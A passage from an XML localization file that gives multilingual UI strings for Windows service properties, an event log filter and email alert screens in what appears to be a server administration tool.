<ko>Win32 서비스(공유 프로세스)</ko>
<en-gb>Win32 Service (Shared Process)</en-gb>
<hu>Win32 szolgáltatás (megosztott folyamat)</hu>
<pt-br>Win32 Service (Processo compartilhado)</pt-br>
<nl>Win32-service (Gedeeld proces)</nl>
</msg>
</cat>
<msg name="START">
<en>Startup type</en>
<de>Starttyp</de>
<es>Tipo de inicio</es>
<fr>Type de démarrage</fr>
<it>Tipo di avvio</it>
<ru>Тип запуска</ru>
<ja>起動の種類</ja>
<zh>启动类型</zh>
<ko>시작 유형</ko>
<en-gb>Startup type</en-gb>
<hu>Indítás típusa</hu>
<pt-br>Tipo de inicialização</pt-br>
<nl>Opstarttype</nl>
</msg>
<cat name="START">
<msg name="auto">
<en>Automatic</en>
<de>Automatisch</de>
<es>Automático</es>
<fr>Automatique</fr>
<it>Automatico</it>
<ru>Автоматический</ru>
<ja>自動</ja>
<zh>自动</zh>
<ko>자동</ko>
<en-gb>Automatic</en-gb>
<hu>Automatikus</hu>
<pt-br>Automático</pt-br>
<nl>Automatisch</nl>
</msg>
<msg name="boot">
<en>Boot</en>
<de>Boot</de>
<es>Arranque</es>
<fr>Initialisation (boot)</fr>
<it>Avvio</it>
<ru>При загрузке</ru>
<ja>ブート</ja>
<zh>引导</zh>
<ko>부팅</ko>
<en-gb>Boot</en-gb>
<hu>Rendszerindítás</hu>
<pt-br>Inicializar</pt-br>
<nl>Opstarten</nl>
</msg>
<msg name="manual">
<en>Manual</en>
<de>Manuell</de>
<es>Manual</es>
<fr>Manuelle</fr>
<it>Manuale</it>
<ru>Вручную</ru>
<ja>手動</ja>
<zh>手动</zh>
<ko>수동</ko>
<en-gb>Manual</en-gb>
<hu>Kézi</hu>
<pt-br>Manual</pt-br>
<nl>Handmatig</nl>
</msg>
<msg name="system">
<en>System</en>
<de>System</de>
<es>Sistema</es>
<fr>Système</fr>
<it>Sistema</it>
<ru>Системный</ru>
<ja>システム</ja>
<zh>系统</zh>
<ko>시스템</ko>
<en-gb>System</en-gb>
<hu>Rendszer</hu>
<pt-br>Sistema</pt-br>
<nl>Systeem</nl>
</msg>
<msg name="disabled">
<en>Disabled</en>
<de>Deaktiviert</de>
<es>Deshabilitado</es>
<fr>Désactivé</fr>
<it>Disattivato</it>
<ru>Отключен</ru>
<ja>無効</ja>
<zh>已禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disabled</en-gb>
<hu>Kikapcsolva</hu>
<pt-br>Desabilitado</pt-br>
<nl>Uitgeschakeld</nl>
</msg>
</cat>
<msg name="SHORT">
<en>Short name</en>
<de>Kurzname</de>
<es>Nombre corto</es>
<fr>Nom court</fr>
<it>Nome breve</it>
<ru>Короткое имя</ru>
<ja>短縮名</ja>
<zh>简称</zh>
<ko>짧은 이름</ko>
<en-gb>Short name</en-gb>
<hu>Rövid név</hu>
<pt-br>Nome abreviado</pt-br>
<nl>Korte naam</nl>
</msg>
<msg name="BINARY">
<en>Binary file</en>
<de>Binäre Datei</de>
<es>Archivo binario</es>
<fr>Fichier binaire</fr>
<it>File binario</it>
<ru>Двоичный файл</ru>
<ja>バイナリ ファイル</ja>
<zh>二进制文件</zh>
<ko>바이너리 파일</ko>
<en-gb>Binary file</en-gb>
<hu>Bináris fájl</hu>
<pt-br>Arquivo binário</pt-br>
<nl>Binair bestand</nl>
</msg>
<msg name="ID">
<en>Process ID</en>
<de>Prozess-ID</de>
<es>ID de proceso</es>
<fr>ID du Processus</fr>
<it>ID processo</it>
<ru>Идентификатор процесса</ru>
<ja>プロセス ID</ja>
<zh>进程 ID</zh>
<ko>프로세스 ID</ko>
<en-gb>Process ID</en-gb>
<hu>Folyamat-azonosító</hu>
<pt-br>ID de processo</pt-br>
<nl>Proces-ID</nl>
</msg>
<msg name="ERROR">
<en>Error control</en>
<de>Fehlerkontrolle</de>
<es>Control de errores</es>
<fr>Erreur de contrôle</fr>
<it>Controllo errori</it>
<ru>Обработка ошибок</ru>
<ja>エラー制御</ja>
<zh>错误控制</zh>
<ko>오류 제어</ko>
<en-gb>Error control</en-gb>
<hu>Hibavezérlés</hu>
<pt-br>Controle de erro</pt-br>
<nl>Foutcontrole</nl>
</msg>
<msg name="LOADGROUP">
<en>Load ordering group</en>
<de>Startgruppe</de>
<es>Grupo que ordena la carga</es>
<fr>Groupe de démarrage</fr>
<it>Gruppo dell'ordine di caricamento</it>
<ru>Группа порядка загрузки</ru>
<ja>ロード命令グループ</ja>
<zh>组的加载顺序</zh>
<ko>로드 순서 그룹</ko>
<en-gb>Load ordering group</en-gb>
<hu>Rendezési csoport betöltése</hu>
<pt-br>Carregar grupo de classificação</pt-br>
<nl>Laadvolgordegroep</nl>
</msg>
<msg name="USER">
<en>Log On</en>
<de>Anmeldung</de>
<es>Iniciar sesión</es>
<fr>Connexion</fr>
<it>Accedi</it>
<ru>Вход в систему</ru>
<ja>ログイン</ja>
<zh>登录</zh>
<ko>로그온</ko>
<en-gb>Log On</en-gb>
<hu>Bejelentkezés</hu>
<pt-br>Logon</pt-br>
<nl>Aanmelden</nl>
</msg>
<msg name="LOCALSYSTEM">
<en>Local system account</en>
<de>Lokales Systemkonto</de>
<es>Cuenta del sistema local</es>
<fr>Compte système local</fr>
<it>Account sistema locale</it>
<ru>Локальная системная учетная запись</ru>
<ja>ローカル システム アカウント</ja>
<zh>本地系统帐户</zh>
<ko>로컬 시스템 계정</ko>
<en-gb>Local system account</en-gb>
<hu>Helyi rendszerfiók</hu>
<pt-br>Conta do sistema local</pt-br>
<nl>Lokale systeemaccount</nl>
</msg>
<msg name="ACCOUNT">
<en>This account</en>
<de>Dieses Konto</de>
<es>Esta cuenta</es>
<fr>Ce compte</fr>
<it>Questo account</it>
<ru>Эта учетная запись</ru>
<ja>このアカウント</ja>
<zh>此帐户</zh>
<ko>이 계정</ko>
<en-gb>This account</en-gb>
<hu>Ez a felhasználói fiók</hu>
<pt-br>Esta conta</pt-br>
<nl>Deze account</nl>
</msg>
<msg name="INTERACTIVE">
<en>Allow service to interact with desktop</en>
<de>Datenaustausch zwischen Dienst und Desktop zulassen</de>
<es>Permitir que el servicio interactúe con el escritorio</es>
<fr>Autorise le service d'interagir avec le bureau</fr>
<it>Consenti al servizio di interagire con il desktop</it>
<ru>Разрешить службе взаимодействовать с рабочим столом</ru>
<ja>サービスにデスクトップとの対話を許可する</ja>
<zh>允许服务与桌面交互</zh>
<ko>서비스와 데스크톱 상호작용 허용</ko>
<en-gb>Allow service to interact with desktop</en-gb>
<hu>A szolgáltatásnak az asztallal való interakciójának engedélyezése</hu>
<pt-br>Permitir que o serviço interaja com o desktop</pt-br>
<nl>Service kan interactief met bureaublad worden uitgevoerd</nl>
</msg>
<msg name="ERRCTL">
<en>Startup error control</en>
<de>Fehlerkontrolle für den Start</de>
<es>Control de errores del arranque</es>
<fr>Erreur de contrôle lors du démarrage</fr>
<it>Controllo errori di avvio</it>
<ru>Обработка ошибок запуска</ru>
<ja>起動エラーの制御</ja>
<zh>启动错误控制</zh>
<ko>오류 제어 시작</ko>
<en-gb>Startup error control</en-gb>
<hu>Indítási hibavezérlés</hu>
<pt-br>Iniciar controle de erro</pt-br>
<nl>Foutcontrole bij opstarten</nl>
</msg>
<cat name="ERRCTL">
<msg name="ignore">
<en>The startup program logs the error but
continues the startup operation.</en>
<de>Das Startprogramm protokolliert den Fehler und setzt den Startbetrieb fort.</de>
<es>El programa de arranque registra el error, pero
continúa la operación de arranque.</es>
<fr>Le programme de démarrage notifie l'erreur
mais continue l'opération de démarrage.</fr>
<it>Il programma ad esecuzione automatica registra l'errore e continua l'operazione di avvio.</it>
<ru>Программа запуска регистрирует ошибки и продолжает выполнение запуска.</ru>
<ja>起動プログラムはエラーをログしますが、起動動作を続行します。</ja>
<zh>启动程序会记录错误,但仍继续启动操作。</zh>
<ko>시작 프로그램은 오류를 로깅하지만 시작 작업은 계속 진행합니다.</ko>
<en-gb>The startup program logs the error but continues the startup operation.</en-gb>
<hu>Az indítási program naplózza a hibát, de
folytatja az indítási műveletet.</hu>
<pt-br>O programa de inicialização registra o erro, mas
continua a operação de inicialização.</pt-br>
<nl>Het opstartprogramma registreert de fout in het logboekbestand maar het opstartproces wordt voortgezet.</nl>
</msg>
<msg name="normal">
<en>The startup program logs the error and displays a message
box pop-up but continues the startup operation.</en>
<de>Das Startprogramm protokolliert den Fehler, zeigt eine Meldung in einem
"Popup"-Fenster und setzt den Startbetrieb fort.</de>
<es>El programa de arranque registra el error y muestra un mensaje
emergente, pero continúa la operación de arranque.</es>
<fr>Le programme de démarrage notifie l'erreur et affiche une boîte de message
mais continue l'opération de démarrage.</fr>
<it>Il programma ad esecuzione automatica registra l'errore, visualizza una finestra a comparsa con un messaggio e continua l'operazione di avvio.</it>
<ru>Программа запуска регистрирует ошибки и выводит на экран всплывающее сообщение, но продолжает выполнение запуска.</ru>
<ja>起動プログラムはエラーをログしてポップアップのメッセージ ボックスを表示しますが、起動動作を続行します。</ja>
<zh>启动程序会记录错误,并显示弹出式消息框,但仍继续启动操作。</zh>
<ko>시작 프로그램은 오류를 로깅하고 메시지 상자를 팝업으로 표시하지만 시작 작업은 계속 진행합니다.</ko>
<en-gb>The startup program logs the error and displays a message box pop-up but continues the startup operation.</en-gb>
<hu>Az indítási program naplózza a hibát és egy
felbukkanó üzenetablakot jelenít meg, de folytatja az indítási műveletet.</hu>
<pt-br>O programa de inicialização registra o erro e exibe uma popup com uma caixa de mensagem,
mas continua a operação de inicialização.</pt-br>
<nl>Het opstartprogramma registreert de fout in het logboekbestand en geeft een pop-upvenster op het scherm weer, maar het opstartproces wordt voortgezet.</nl>
</msg>
<msg name="severe">
<en>The startup program logs the error. If the last-known good
configuration is being started, the startup operation continues.
Otherwise, the system is restarted with the last-known-good
configuration.</en>
<de>Das Startprogramm protokolliert den Fehler.  Wenn die letzte funktionierende
Konfiguration gestartet wird, fährt der Startbetrieb fort.  Andernfalls wird mit
der letzten funktionierenden Konfiguration neu gestartet.</de>
<es>El programa de arranque registra el error. Si se inicia la última configuración
correcta conocida, la operación de arranque continúa.
De lo contrario, el sistema se reiniciará con la última configuración
correcta conocida.</es>
<fr>Le programme de démarrage notifie l'erreur. 
Si la dernière bonne configuration connue est démarrée, l'opération de
démarrage continue. Autrement, le système est redémarre avec la
dernière bonne configuration connue.</fr>
<it>Il programma ad esecuzione automatica registra l'errore. Se verrà avviata l'ultima configurazione considerata valida, l'operazione di avvio continua. In caso contrario, il sistema viene riavviato con l'ultima configurazione considerata valida.</it>
<ru>Программа запуска регистрирует ошибки. Если при запуске используется последняя удачная конфигурация, выполнение запуска продолжается.
В противном случае система перезапускается с использованием последней удачной конфигурации.</ru>
<ja>起動プログラムはエラーをログします。前回の正常起動時の設定が開始すれば、起動動作は続行されます。そうでない場合、システムは前回の正常起動時の設定で再起動します。</ja>
<zh>启动程序会记录错误。如果正在启动上次已知的良好配置,启动操作将继续。否则,系统将以上次已知的良好配置重新启动。</zh>
<ko>시작 프로그램이 오류를 로깅합니다. 마지막으로 성공한 구성이 시작되는 중이면 시작 작업을 계속 진행합니다. 또는 마지막으로 성공한 구성으로 시스템을 다시 시작합니다.</ko>
<en-gb>The startup program logs the error. If the last-known good configuration is being started, the startup operation continues.
Otherwise, the system is restarted with the last-known good configuration.</en-gb>
<hu>Az indítási program naplózza a hibát. Ha az utolsó jó konfiguráció
indítása történik, akkor az indítási művelet folytatódik.
Más esetben a rendszer újraindul az utolsó jó 
konfigurációval.</hu>
<pt-br>O programa de inicialização registra o erro. Se a última configuração boa conhecida
tiver sido iniciada, a operação de inicialização continuará.
Caso contrário, o sistema será reiniciado com a última configuração boa
Conhecida.</pt-br>
<nl>Het opstartprogramma registreert de fout in het logboekbestand. Als de laatst gekende foutloze configuratie wordt gestart, wordt het opstartproces voortgezet.  Als dat niet het geval is, wordt het systeem opnieuw opgestart met de laatst gekende foutloze configuratie.</nl>
</msg>
<msg name="critical">
<en>The startup program logs the error, if possible. If the
last-known good configuration is being started, the startup
operation fails. Otherwise, the system is restarted with the
last-known good configuration.</en>
<de>Das Startprogramm protokolliert den Fehler wenn möglich.  Die Startvorgang
schlägt fehl, wenn der Start mit der zuletzt bekannten funktionierenden 
Konfiguration erfolgt.  Andernfalls wird das System mit der zuletzt bekannten 
funktionierenden Konfiguration neu gestartet.</de>
<es>Si es posible, el programa de arranque registra el error. Si se
inicia la última configuración correcta conocida, fallará la
operación de arranque. De lo contrario, el sistema se reiniciará con la
última configuración correcta conocida.</es>
<fr>Le programme de démarrage notifie l'erreur, si cela est possible.
Si la dernière bonne configuration connue est démarrée, l'opération 
de démarrage échoue. Autrement, le système redémarre avec la
dernière bonne configuration connue.</fr>
<it>Il programma ad esecuzione automatica registra l'errore, se possibile. Se verrà avviata l'ultima configurazione considerata valida, l'operazione di avvio non riesce. In caso contrario, il sistema viene riavviato con l'ultima configurazione considerata valida.</it>
<ru>Программа запуска по возможности регистрирует ошибки. Если при запуске используется последняя удачная конфигурация, выполнение запуска прекращается. В противном случае система перезапускается с использованием последней удачной конфигурации.</ru>
<ja>起動プログラムは、可能な場合エラーをログします。前回の正常起動時の設定が開始すれば、起動動作は失敗します。そうでない場合、システムは前回の正常起動時の設定で再起動します。</ja>
<zh>启动程序会记录错误(如果可能)。如果正在启动上次已知的良好配置,启动操作将失败。否则,系统将以上次已知的良好配置重新启动。</zh>
<ko>가능한 경우 시작 프로그램은 오류를 로깅합니다. 마지막으로 성공한 구성이 시작되는 중이면 시작 작업은 실패합니다. 그렇지 않으면 마지막으로 성공한 구성으로 시스템을 다시 시작합니다.</ko>
<en-gb>The startup program logs the error, if possible. If the last-known good configuration is being started, the startup operation fails. Otherwise, the system is restarted with the last-known good configuration.</en-gb>
<hu>Az indítási program naplózza a hibát, ha ez lehetséges. Ha az
utolsó jó konfiguráció indítása zajlik, az indítási
művelet sikertelen. Más esetben a rendszer újraindul az
utolsó jó konfigurációval.</hu>
<pt-br>O programa de inicialização registra o erro, se possível. Se a
última configuração boa conhecida tiver sido iniciada, a operação de inicialização
falhará. Caso contrário, o sistema será reiniciado com a
última configuração boa conhecida.</pt-br>
<nl>Het opstartprogramma registreert de fout in het logboekbestand indien mogelijk. Als de laatst gekende foutloze configuratie wordt gestart, wordt het opstartproces stopgezet.  Als dat niet het geval is, wordt het systeem opnieuw opgestart met de  laatst gekende foutloze configuratie.</nl>
</msg>
</cat>
<msg name="DEPENDS">
<en>Dependencies</en>
<de>Abhängigkeiten</de>
<es>Dependencias</es>
<fr>Dépendances</fr>
<it>Dipendenze</it>
<ru>Зависимости</ru>
<ja>依存性</ja>
<zh>相关性</zh>
<ko>의존성</ko>
<en-gb>Dependencies</en-gb>
<hu>Függőségek</hu>
<pt-br>Dependências</pt-br>
<nl>Afhankelijkheid</nl>
</msg>
<msg name="DEPENDS.FWD">
<en>"%SERVICE.DISPLAY" depends on these services</en>
<de>"%SERVICE.DISPLAY" ist von diesen Diensten abhängig</de>
<es>"%SERVICE.DISPLAY" depende de estos servicios</es>
<fr>"%SERVICE.DISPLAY" dépend de ces services</fr>
<it>"%SERVICE.DISPLAY" dipende da questi servizi</it>
<ru>"%SERVICE.DISPLAY" зависит от этих служб</ru>
<ja>"%SERVICE.DISPLAY" はこれらのサービスに依存する</ja>
<zh>“%SERVICE.DISPLAY”取决于这些服务</zh>
<ko>"%SERVICE.DISPLAY"은(는) 이 서비스에 의존합니다</ko>
<en-gb>"%SERVICE.DISPLAY" depends on these services</en-gb>
<hu>A(z) "%SERVICE.DISPLAY" ezektől a szolgáltatásoktól függ</hu>
<pt-br>"%SERVICE.DISPLAY" depende destes serviços</pt-br>
<nl>"%SERVICE.DISPLAY" is afhankelijk van deze services</nl>
</msg>
<msg name="DEPENDS.FWD.NONE">
<en>"%SERVICE.DISPLAY" does not depend on other services</en>
<de>"%SERVICE.DISPLAY" hängt nicht von anderen Diensten ab</de>
<es>"%SERVICE.DISPLAY" no depende de otros servicios</es>
<fr>"%SERVICE.DISPLAY" ne dépend pas d'autres services</fr>
<it>"%SERVICE.DISPLAY" non dipende da altri servizi</it>
<ru>"%SERVICE.DISPLAY" не зависит от других служб</ru>
<ja>"%SERVICE.DISPLAY" は他のサービスに依存しない</ja>
<zh>“%SERVICE.DISPLAY”不取决于其他服务</zh>
<ko>"%SERVICE.DISPLAY"은(는) 이 서비스에 의존하지 않습니다</ko>
<en-gb>"%SERVICE.DISPLAY" does not depend on other services</en-gb>
<hu>A(z) "%SERVICE.DISPLAY" nem függ ezektől a szolgáltatásoktól</hu>
<pt-br>"%SERVICE.DISPLAY" não depende de outros serviços</pt-br>
<nl>"%SERVICE.DISPLAY" is niet afhankelijk van andere services</nl>
</msg>
<msg name="DEPENDS.REV">
<en>These services depend on "%SERVICE.DISPLAY"</en>
<de>Diese Dienste sind von "%SERVICE.DISPLAY" abhängig</de>
<es>Estos servicios dependen de "%SERVICE.DISPLAY"</es>
<fr>Ces services dépendent de "%SERVICE.DISPLAY"</fr>
<it>Questi servizi dipendono da "%SERVICE.DISPLAY"</it>
<ru>Эти службы зависят от "%SERVICE.DISPLAY"</ru>
<ja>これらのサービスは "%SERVICE.DISPLAY" に依存する</ja>
<zh>这些服务取决于“%SERVICE.DISPLAY”</zh>
<ko>이 서비스는 "%SERVICE.DISPLAY"에 의존합니다</ko>
<en-gb>These services depend on "%SERVICE.DISPLAY"</en-gb>
<hu>Ezek a szolgáltatások a(z) "%SERVICE.DISPLAY"-től függenek</hu>
<pt-br>Estes serviços dependem de "%SERVICE.DISPLAY"</pt-br>
<nl>Deze services zijn afhankelijk van "%SERVICE.DISPLAY"</nl>
</msg>
<msg name="DEPENDS.REV.NONE">
<en>No services depend on "%SERVICE.DISPLAY"</en>
<de>Von "%SERVICE.DISPLAY" sind keine Dienste abhängig</de>
<es>Ningún servicio depende de"%SERVICE.DISPLAY"</es>
<fr>Aucun service ne dépend de "%SERVICE.DISPLAY"</fr>
<it>Nessun servizio dipende da "%SERVICE.DISPLAY"</it>
<ru>Нет служб, зависимых от "%SERVICE.DISPLAY"</ru>
<ja>"%SERVICE.DISPLAY" に依存するサービスなし</ja>
<zh>没有服务取决于“%SERVICE.DISPLAY”</zh>
<ko>서비스는 "%SERVICE.DISPLAY"에 의존하지 않습니다</ko>
<en-gb>No services depend on "%SERVICE.DISPLAY"</en-gb>
<hu>A(z) "%SERVICE.DISPLAY"-től nem függ szolgáltatás</hu>
<pt-br>Nenhum serviço depende de "%SERVICE.DISPLAY"</pt-br>
<nl>Er zijn geen services afhankelijk van "%SERVICE.DISPLAY"</nl>
</msg>
<cat name="TIP">
<msg name="PROP">
<en>Properties</en>
<de>Eigenschaften</de>
<es>Propiedades</es>
<fr>Propriétés</fr>
<it>Proprietà</it>
<ru>Свойства</ru>
<ja>プロパティ</ja>
<zh>属性</zh>
<ko>속성</ko>
<en-gb>Properties</en-gb>
<hu>Tulajdonságok</hu>
<pt-br>Propriedades</pt-br>
<nl>Eigenschappen</nl>
</msg>
<msg name="START">
<en>Start service</en>
<de>Starten</de>
<es>Iniciar servicio</es>
<fr>Démarrer le Service</fr>
<it>Avvia servizio</it>
<ru>Запустить службу</ru>
<ja>起動サービス</ja>
<zh>启动服务</zh>
<ko>서비스 시작</ko>
<en-gb>Start service</en-gb>
<hu>Szolgáltatás indítása</hu>
<pt-br>Iniciar serviço</pt-br>
<nl>Service starten</nl>
</msg>
<msg name="RESTART">
<en>Restart service</en>
<de>Neu starten</de>
<es>Reiniciar servicio</es>
<fr>Redémarrer le Service</fr>
<it>Riavvia servizio</it>
<ru>Перезапустить службу</ru>
<ja>再起動サービス</ja>
<zh>重新启动服务</zh>
<ko>서비스 다시 시작</ko>
<en-gb>Restart service</en-gb>
<hu>Szolgáltatás újraindítása</hu>
<pt-br>Reiniciar serviço</pt-br>
<nl>Service opnieuw starten</nl>
</msg>
<msg name="STOP">
<en>Stop service</en>
<de>Beenden</de>
<es>Parar servicio</es>
<fr>Arrêter le Service</fr>
<it>Interrompi servizio</it>
<ru>Остановить службу</ru>
<ja>終了サービス</ja>
<zh>停止服务</zh>
<ko>서비스 중지</ko>
<en-gb>Stop service</en-gb>
<hu>Szolgáltatás leállítása</hu>
<pt-br>Interromper serviço</pt-br>
<nl>Service stoppen</nl>
</msg>
<msg name="PAUSE">
<en>Pause service</en>
<de>Anhalten</de>
<es>Pausar servicio</es>
<fr>Mettre le Service en attente (pause)</fr>
<it>Servizio in pausa</it>
<ru>Приостановить службу</ru>
<ja>一時停止サービス</ja>
<zh>暂停服务</zh>
<ko>서비스 일시 중지</ko>
<en-gb>Pause service</en-gb>
<hu>Szolgáltatás felfüggesztése</hu>
<pt-br>Pausar serviço</pt-br>
<nl>Service onderbreken</nl>
</msg>
<msg name="CONT">
<en>Continue service</en>
<de>Fortsetzen</de>
<es>Continuar servicio</es>
<fr>Continuer le Service</fr>
<it>Continua servizio</it>
<ru>Продолжить работу службы</ru>
<ja>続行サービス</ja>
<zh>继续服务</zh>
<ko>서비스 계속</ko>
<en-gb>Continue service</en-gb>
<hu>Szolgáltatás folytatása</hu>
<pt-br>Continuar serviço</pt-br>
<nl>Service hervatten</nl>
</msg>
</cat>
</cat>
<!-- event log filter screen. Screen messages use the e-mail alerts message section. -->
<cat name="EVTFILTER">
<msg name="TITLE">
<en>Event Filter</en>
<es>Filtro de sucesos</es>
<de>Ereignisfilter</de>
<fr>Filtre d'événements</fr>
<it>Filtro eventi</it>
<ru>Фильтр событий</ru>
<ja>イベント フィルタ</ja>
<zh>事件过滤器</zh>
<ko>이벤트 필터</ko>
<en-gb>Event Filter</en-gb>
<hu>Eseményszűrő</hu>
<pt-br>Filtro de eventos</pt-br>
<nl>Gebeurtenisfilter</nl>
</msg>
<msg name="APPLIESTO">
<en>Applies to</en>
<es>Se aplica a</es>
<de>Gilt für</de>
<fr>S'applique à</fr>
<it>Applica a</it>
<ru>Применяется к</ru>
<ja>次に適用</ja>
<zh>应用于</zh>
<ko>적용 위치</ko>
<en-gb>Applies to</en-gb>
<hu>A következőre vonatkozik</hu>
<pt-br>Se aplica a</pt-br>
<nl>Is van toepassing op</nl>
</msg>
<msg name="INCLUDE">
<en>Include in the result</en>
<de>Mit einbeziehen</de>
<es>Incluir en el resultado</es>
<fr>Inclure dans le résultat</fr>
<it>Includi nel risultato</it>
<ru>Включить в результат</ru>
<ja>結果に含める</ja>
<zh>包含在结果中</zh>
<ko>결과에 포함</ko>
<hu>Eredményben megjelenítendő</hu>
<pt-br>Incluir no resultado</pt-br>
<nl>Opnemen in het resultaat</nl>
</msg>
<msg name="EXCLUDE">
<en>Exclude from the result</en>
<de>Nicht mit einbeziehen</de>
<es>Excluir del resultado</es>
<fr>Exclure du résultat</fr>
<it>Escludi dal risultato</it>
<ru>Исключить из результата</ru>
<ja>結果から除外する</ja>
<zh>从结果中排除</zh>
<ko>결과에서 제외</ko>
<hu>Eredményből kizárandó</hu>
<pt-br>Excluir do resultado</pt-br>
<nl>Uitsluiten van het resultaat</nl>
</msg>
<msg name="NONE">
<en>None (disabled)</en>
<de>Kein (deaktiviert)</de>
<es>Ninguno (deshabilitado)</es>
<fr>Aucun (désactivé)</fr>
<it>Nessuno (disattivato)</it>
<ru>Никакой (отключена)</ru>
<ja>なし (無効)</ja>
<zh>无(已禁用)</zh>
<ko>없음(사용 안 함)</ko>
<en-gb>None (disabled)</en-gb>
<hu>Semmire (kikapcsolva)</hu>
<pt-br>Nenhum (desabilitado)</pt-br>
<nl>Geen (uitgeschakeld)</nl>
</msg>
<msg name="BOTH">
<en>Event Viewer and Dashboard</en>
<de>Ereignisanzeige und Dashboard</de>
<es>Panel de información y visor de sucesos</es>
<fr>Visionneuse d'Evénements et Tableau de bord</fr>
<it>Visualizzatore eventi e dashboard</it>
<ru>Окно просмотра событий и инструментальная панель</ru>
<ja>イベント ビューアおよびダッシュボード</ja>
<zh>事件查看器和控制面板</zh>
<ko>이벤트 뷰어 및 대시보드</ko>
<en-gb>Event Viewer and Dashboard</en-gb>
<hu>Eseményfigyelő és Vezérlőpult</hu>
<pt-br>Visualizador de eventos e painel</pt-br>
<nl>Viewer voor gebeurtenissen en Dashboard-interface</nl>
</msg>
<msg name="NOTE">
<en>Wildcards are allowed in the event source field. Leave the field empty 
if you don't want to filter by event source. If you're interested in a specific event, enter
its number in the event ID field.\n Include filters are applied first. If no Include rules are used, Exclude rules are applied to all events.</en>
<es>Se permite utilizar comodines en el campo fuente del suceso. Deje el campo vacío 
si no desea filtrar por fuente del suceso. Si está interesado en un suceso específico, introduzca
su número en el campo ID de suceso.\nLos filtros de inclusión se aplican primero. Si no se usan reglas de inclusión, las reglas de exclusión se aplican a todos los sucesos.</es>
<de>Im Feld für die Ereignisquelle sind Platzhalter zulässig. Geben Sie im Feld nichts ein, wenn Sie nicht nach Ereignisquelle filtern möchten. Wenn Sie an einem bestimmten Ereignis interessiert sind, geben Sie die Nummer im Feld für die Ereignis-ID ein.\nFilter für das Einbeziehen werden als erstes angewendet. Werden keine Regeln für das Einbeziehen verwendet, gelten für alle Ereignisse Regeln für das Ausschließen.</de>
<fr>Les caractères de remplacement sont autorisés dans le champ source de l'événement. Ne renseignez pas le champ
si vous ne voulez pas filtrer par source d'événement. Si vous vous intéressez à un événement particulier, entrez
son numéro dans le champ d'ID de l'événement.\nLes filtres d'inclusion sont appliqués d'abord. En l'absence de règles d'inclusion, les règles d'exclusion sont appliquées à tous les événements.</fr>
<it>Nel campo Origine dell'evento sono consentiti i caratteri jolly. Lasciare vuoto il campo se non si desidera applicare il filtro per origine dell'evento. Per informazioni su un evento specifico, immettere il relativo numero nel campo ID evento.\nI filtri di inclusione vengono applicati per primi. Se non si utilizzano regole di inclusione, le regole di esclusione vengono applicare a tutti gli eventi.</it>
<ru>В поле источника события можно использовать постановочные знаки. Оставьте поле пустым, если не требуется фильтровать по источнику события. Если интересует конкретное событие, введите его номер в поле "ИД события".\nСначала применяются фильтры включения. Если правила включения не используются, ко всем событиями применяются правила исключения.</ru>
<ja>イベント ソース フィールドでは、ワイルドカードが許可されます。イベント ソースによるフィルタリングをしない場合は、このフィールドを空欄のままにします。特定のイベントに関心がある場合は、イベント ID フィールドにその番号を入力します。\n組み込みフィルターが最初に適用されます。組み込みルールを使用しない場合は、すべてのイベントに除外ルールが適用されます。</ja>
<zh>事件源字段中允许使用通配符。如果不想按事件源进行过滤,请将此字段留空。如果对特定事件感兴趣,请在此事件 ID 字段中输入其编号。\n将先应用“包含”过滤选项。若未使用任何“包含”规则,所有事件将应用“排除”规则。</zh>
<ko>와일드카드 문자가 이벤트 원본 필드에 허용됩니다. 이벤트 원본 기준으로 필터링하지 않으려면 해당 필드를 비워 두십시오. 특정 이벤트에 관심 있는 경우 이벤트 ID 필드에 해당 번호를 입력하십시오.\n포함 필터가 먼저 적용됩니다. 포함 규칙을 사용하지 않으면 모든 이벤트에 제외 규칙이 적용됩니다.</ko>
<en-gb>Wildcards are allowed in the event source field. Leave the field empty 
if you don't want to filter by event source. If you're interested in a specific event, enter
its number in the event ID field.\n Include filters are applied first. If no Include rules are used, Exclude rules are applied to all events.</en-gb>
<hu>A helyettesítő karakterek engedélyezettek az eseményforrás mezőben. Hagyja a mezőt üresen, 
ha nem akar szűrést az eseményforrás szerint. Amennyiben egy adott esemény érdekli, írja be
annak számát az eseményazonosító mezőbe\nHa nem használ megjelenítést előirányzó szabályokat, a rendszer a kizárásra vonatkozó szabályokat alkalmazza az összes eseményre.</hu>
<pt-br>Curingas são permitidos no campo da origem do evento. Deixe o campo em branco
se não desejar filtrar por origem do evento. Se tiver interesse em um evento específico, digite
o número do evento no campo ID do evento.\nOs filtros de inclusão são aplicados primeiro. Se não forem usadas regras de inclusão, as regras de exclusão são aplicadas a todos os eventos.</pt-br>
<nl>Jokertekens zijn toegestaan in het veld voor de gebeurtenisbron. Vul niets in het veld in als u niet wilt filteren op de gebeurtenisbron. Als u een specifieke gebeurtenis wilt weergeven, voert u het overeenkomstige nummer in het veld voor de gebeurtenis-ID in.\nAls er geen regels voor opnemen worden gebruikt, worden regels voor uitsluiten toegepast op alle gebeurtenissen.</nl>
</msg>
</cat>
<!-- "event log e-mail alerts" screen messages -->
<cat name="ALERTS">
<msg name="TITLE">
<en>Email Alerts</en>
<de>Meldungen per Email</de>
<es>Enviar avisos al correo electrónico</es>
<fr>Alerte Email</fr>
<it>Avvisi e-mail</it>
<ru>Оповещения по электронной почте</ru>
<ja>電子メール アラート</ja>
<zh>电子邮件警报</zh>
<ko>전자 메일 경고</ko>
<en-gb>E-mail Alerts</en-gb>
<hu>E-mail riasztások</hu>
<pt-br>Enviar alertas por email</pt-br>
<nl>Waarschuwingsmeldingen via e-mail</nl>
</msg>
<msg name="ENABLE">
<en>Enabled</en>
<de>Aktiviert</de>
<es>Habilitado</es>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Bekapcsolva</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="EVTLOG">
<en>Event Log Name</en>
<de>Name des Ereignisprotokolls</de>
<es>Nombre del registro de sucesos</es>
<fr>Nom de la Notification d'Evénements</fr>
<it>Nome registro eventi</it>
<ru>Имя журнала событий</ru>
<ja>イベント ログ名</ja>
<zh>事件日志名称</zh>
<ko>이벤트 로그 이름</ko>
<en-gb>Event Log Name</en-gb>
<hu>Eseménynapló neve</hu>
<pt-br>Nome do log de evento</pt-br>
<nl>Naam van gebeurtenislogboek</nl>
</msg>
<msg name="EVTTYPE">
<en>Event Type</en>
<de>Ereignistyp</de>
<es>Tipo de suceso</es>
<fr>Type d'Evénement</fr>
